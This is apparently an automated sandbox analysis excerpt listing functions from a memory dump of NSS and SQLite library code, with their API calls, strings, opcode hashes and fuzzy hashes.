API ID: Util$Arena$Alloc_Error$Arena_K11_Mark_$DestroyFindFreePrivate$Cert$CopyCriticalEncryptedEnterHashInfoInternalItem_SectionSlotTag_UnlockValuestrlen
String ID:
API String ID: 4141365096-0
Opcode ID: cecd9b4bbfb31a029dbfcacc3a7d7693860c24ffdccfb19c9d95f32631905dd6
Instruction ID: 94573697e1e144a0852c2c78a2f25ea301259ba7f4de511c8ad2ec6c4f12cf08
Opcode Fuzzy Hash: cecd9b4bbfb31a029dbfcacc3a7d7693860c24ffdccfb19c9d95f32631905dd6
Instruction Fuzzy Hash: D3D1B275A043009BE700DF14D940BAB7BF6AF88348F198129F8588B791E735DD98DBD2

Function 6CADA5E0 Relevance: 23.1, APIs: 15, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36cd19e85e474e966a482ad1a8330e76543a346239d08c86de5fddf58375193b
Instruction ID: 25da4f52fd91ee17d860a55786f3db5bd5f5c62d4ab06533b8bcc57a49c7f542
Opcode Fuzzy Hash: 36cd19e85e474e966a482ad1a8330e76543a346239d08c86de5fddf58375193b
Instruction Fuzzy Hash: BA127F71D042584FCB258F2888913ED77F3AF4A318F2E82D9C59A97A41D6347EC5CB91

Function 6CAB0570 Relevance: 22.8, APIs: 15, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

PK11_HPKE_Deserialize.NSS3(?,?,?,00000000), ref: 6CAB05E3
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB060C
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6CAB061A
PK11_PubDeriveWithKDF.NSS3 ref: 6CAB0712
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAB0740
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CAB0760
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CAB07AE
PK11_FreeSymKey.NSS3(?), ref: 6CAB07BC
PK11_FreeSymKey.NSS3(?), ref: 6CAB07D1
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAB07DD
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAB07EB
SECITEM_ZfreeItem_Util.NSS3(00000001,00000001), ref: 6CAB07F8
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CAB082F
memcpy.VCRUNTIME140(?,?,?), ref: 6CAB08A9
SECITEM_DupItem_Util.NSS3(?), ref: 6CAB08D0

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_$Item_Util$ContextDestroyErrorFreeZfreememcpy$AllocCreateDeriveDeserializePublicWith
String ID:
API String ID: 657680294-0
Opcode ID: 74ff4fdd8397eba503aa32f83a4f4a947bd1e40c2011813af90d9b4840a452c9
Instruction ID: 768e3c59233200755ec18659a071eb817feceac713532edb2b87ab5a138163bd
Opcode Fuzzy Hash: 74ff4fdd8397eba503aa32f83a4f4a947bd1e40c2011813af90d9b4840a452c9
Instruction Fuzzy Hash: 4B91C3B1A043419FE700CF65CE44B5BB7E9AF84318F18862CE99997751EB71D9C8CB82

Function 6CAEEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CAEDAE2,?), ref: 6CAEC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAEF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAEF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CAEF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAEF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBB218C), ref: 6CAEF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CAEF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAEF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAEF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CAEF210

Part of subcall function 6CA952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CAEF1E9,?,00000000,?,?), ref: 6CA952F5
Part of subcall function 6CA952D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CA9530F
Part of subcall function 6CA952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CA95326
Part of subcall function 6CA952D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CAEF1E9,?,00000000,?,?), ref: 6CA95340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAEF227

Part of subcall function 6CADFAB0: free.MOZGLUE(?,-00000001,?,?,6CA7F673,00000000,00000000), ref: 6CADFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CAEF23E

Part of subcall function 6CADBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA8E708,00000000,00000000,00000004,00000000), ref: 6CADBE6A
Part of subcall function 6CADBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CA904DC,?), ref: 6CADBE7E
Part of subcall function 6CADBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CADBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAEF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAEF3A8

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAEF3B3

Part of subcall function 6CA92D20: PK11_DestroyObject.NSS3(?,?), ref: 6CA92D3C
Part of subcall function 6CA92D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CA92D5F

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 243bd694c76045da996834b533c3393be6821160cd04201a9895786b72fb8ff5
Instruction ID: 2a1f56cb05cd8b45ce705882c51a20117fa090a33be578e2ab7d0e4a73d6b829
Opcode Fuzzy Hash: 243bd694c76045da996834b533c3393be6821160cd04201a9895786b72fb8ff5
Instruction Fuzzy Hash: B8D17EB6E012059BDB10CFA9ED80A9EB7F5EF4C308F19812DD915A7711EB31E885DB90

Function 6CA0ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA0ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA0EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA0EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CA0EF98

Strings

%s at line %d of [%.10s], xrefs: 6CA0F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA0F483
database corruption, xrefs: 6CA0F48D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 924e21f2ba6ae12a4c2615afaae029c8e91e5ba71fe289830a652a51b8204374
Instruction ID: e982238bbf1b872d582f6e6668864677318865f70877817f7e181d1980b9d90d
Opcode Fuzzy Hash: 924e21f2ba6ae12a4c2615afaae029c8e91e5ba71fe289830a652a51b8204374
Instruction Fuzzy Hash: FD62EF30B042458FEB04CF64E880B9ABBB1BF4935CF18419DD8566BB92D735E8C6CB95

Function 6CAB0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CAB0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAB0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CAB1006
PK11_FreeSymKey.NSS3(?), ref: 6CAB101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAB1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CAB1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CAB108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAB10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CAB10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CAB112E

Part of subcall function 6CAB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CAB08C4,?,?), ref: 6CAB15B8
Part of subcall function 6CAB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CAB08C4,?,?), ref: 6CAB15C1
Part of subcall function 6CAB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB162E
Part of subcall function 6CAB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB1637

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 9f5ece3bcdc76a9ca2bb6703163c8e8ebf947dbdf04c40b1a02f0e78cfe352f7
Instruction ID: 09c88b400811f65e7692c3dcec9288d425ea0cf51f248bace5675dc1485aa4fd
Opcode Fuzzy Hash: 9f5ece3bcdc76a9ca2bb6703163c8e8ebf947dbdf04c40b1a02f0e78cfe352f7
Instruction Fuzzy Hash: 6971E1B1A002058FDB00CFA5DD85A7AB7F8FF48318F18862DE619A7711E731D998CB91

Function 6CA6C650 Relevance: 16.5, APIs: 7, Strings: 2, Instructions: 760COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6CA6C859
0123456789ABCDEF, xrefs: 6CA6D104

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEF$0123456789abcdef
API String ID: 0-885041942
Opcode ID: 73c068f6d34c8e0d17513d66c64beb41e375c72fd19e92fedbc2be8cd726da83
Instruction ID: 93f0e5a868589c3689117321d863da961f8f38d3083f8dff0238f38b48edc93d
Opcode Fuzzy Hash: 73c068f6d34c8e0d17513d66c64beb41e375c72fd19e92fedbc2be8cd726da83
Instruction Fuzzy Hash: 1D52F3716083418FDB04DF2AC45075AB7E2EF8635CF188A2DE99687F51D735D886CB42

Function 6CB58550 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 528stringCOMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000021B,recovered %d pages from %s,00000000,?), ref: 6CB585CC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB586CA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB5875F
memset.VCRUNTIME140(?,00000000,?), ref: 6CB5893A
sqlite3_free.NSS3(?), ref: 6CB58977
sqlite3_free.NSS3 ref: 6CB589A5
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB58B68
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB58B79

Strings

recovered %d pages from %s, xrefs: 6CB585C2

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@sqlite3_free$memsetsqlite3_logstrcmpstrlen
String ID: recovered %d pages from %s
API String ID: 1138475946-1623757624
Opcode ID: 60381885aff05ef291a92ddc28da683bad3d6424c9127094121498996ac6c724
Instruction ID: ccd902203718337644ac45fcd74ab3cc6410940cb2e41639ff9cf6cdebc8f9b6
Opcode Fuzzy Hash: 60381885aff05ef291a92ddc28da683bad3d6424c9127094121498996ac6c724
Instruction Fuzzy Hash: 721269746583819FD704CF29C880B1BB7F5EF89308F44892EE99A87761E772E815CB52

Function 6CAD6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA81C6F,00000000,00000004,?,?), ref: 6CAD6C3F

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CA81C6F,00000000,00000004,?,?), ref: 6CAD6C60
PR_ExplodeTime.NSS3(00000000,6CA81C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CA81C6F,00000000,00000004,?,?), ref: 6CAD6C94

Strings

gfff, xrefs: 6CAD6CFD
gfff, xrefs: 6CAD6CF5
gfff, xrefs: 6CAD6D9C
gfff, xrefs: 6CAD6D30
gfff, xrefs: 6CAD6D66

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 315911cc61da9ae5feba869e9541309505160107b9dcb8b8d26524e06fb78e17
Instruction ID: db2a0508d06e09930b20dd03606068f743e1c26de092954e2a514dfd748ea299
Opcode Fuzzy Hash: 315911cc61da9ae5feba869e9541309505160107b9dcb8b8d26524e06fb78e17
Instruction Fuzzy Hash: 4F514A72B016494FC708CDADDC527DEB7DAABA4310F48C23AE442DB785DA38E946C751

Function 6CB50F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CB51027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB510B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB51353

Strings

%lld, xrefs: 6CB5114B
%02x, xrefs: 6CB512F6
-- , xrefs: 6CB50FF5
$, xrefs: 6CB512A0
zeroblob(%d), xrefs: 6CB51223
'%.*q', xrefs: 6CB51217, 6CB51292
NULL, xrefs: 6CB5119E

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: e832c71def2930a33bec2b86a4b735fdca83c21fb7698337150980f591eb29b3
Instruction ID: 61c1836ba82b608b29ffc6d0460ad18dc550c432f720b7f49b2c760f8961f771
Opcode Fuzzy Hash: e832c71def2930a33bec2b86a4b735fdca83c21fb7698337150980f591eb29b3
Instruction Fuzzy Hash: 01E1BD75A083809FD700CF18C490A6BBBF5EF85358F88896DE98587B50E771E899CB43

Function 6CB58FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB58FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB590DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB59118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB591C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB59209

Strings

3333, xrefs: 6CB5925E
UUUU, xrefs: 6CB59255

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: afa4d943bf1ffee481d47e96f41025b6394f2457c4bdecf21f3e636f55195ffa
Instruction ID: b91b2a7ba7e0244543adf7d98596736058afbdafbc799b24d392d91ab40ee65d
Opcode Fuzzy Hash: afa4d943bf1ffee481d47e96f41025b6394f2457c4bdecf21f3e636f55195ffa
Instruction Fuzzy Hash: 24A18EB2E001559BDB04CF68CC91BAEB7B9FB48324F4D4139E915A7741E736AC12CBA1

Function 6CA10FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CA0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA6F9C9,?,6CA6F4DA,6CA6F9C9,?,?,6CA3369A), ref: 6CA0CA7A
Part of subcall function 6CA0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA0CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CA1103E
EnterCriticalSection.KERNEL32(?), ref: 6CA11139
LeaveCriticalSection.KERNEL32(?), ref: 6CA11190
sqlite3_free.NSS3(00000000), ref: 6CA11227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CA1126E
sqlite3_free.NSS3(?), ref: 6CA1127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CA11267
winAccess, xrefs: 6CA1129B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 4435928ffbc15fc8ad4ee3616a854dc1f881d5f3b320ff2c92c06f71bfabe34c
Instruction ID: 33d158b01c3cf888e045a25dfd224965bb613db5f515ef44501321c4cdf597e3
Opcode Fuzzy Hash: 4435928ffbc15fc8ad4ee3616a854dc1f881d5f3b320ff2c92c06f71bfabe34c
Instruction Fuzzy Hash: 57712A317082419BEB049F64DC95A7E737AEB96364F18063DEA1687E80DB30D985CB92

Function 6CA1AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CB3CF46,?,6CA0CDBD,?,6CB3BF31,?,?,?,?,?,?,?), ref: 6CA1B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB3CF46,?,6CA0CDBD,?,6CB3BF31), ref: 6CA1B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CB3CF46,?,6CA0CDBD,?,6CB3BF31), ref: 6CA1B0A2
CloseHandle.KERNEL32(?,?,6CB3CF46,?,6CA0CDBD,?,6CB3BF31,?,?,?,?,?,?,?,?,?), ref: 6CA1B100
sqlite3_free.NSS3(?,?,00000002,?,6CB3CF46,?,6CA0CDBD,?,6CB3BF31,?,?,?,?,?,?,?), ref: 6CA1B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CB3CF46,?,6CA0CDBD,?,6CB3BF31), ref: 6CA1B12D

Part of subcall function 6CA09EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA1C6FD,?,?,?,?,6CA6F965,00000000), ref: 6CA09F0E
Part of subcall function 6CA09EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA6F965,00000000), ref: 6CA09F5D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 274f2bbeea0e7c26ff281d3f691659a9e0c6d8b5cff95f2af7486582dcf66f3e
Instruction ID: d2d7849c19fa72477d29f060d1a0eff9895ffb72ab5f9f0e83b801d470a337ce
Opcode Fuzzy Hash: 274f2bbeea0e7c26ff281d3f691659a9e0c6d8b5cff95f2af7486582dcf66f3e
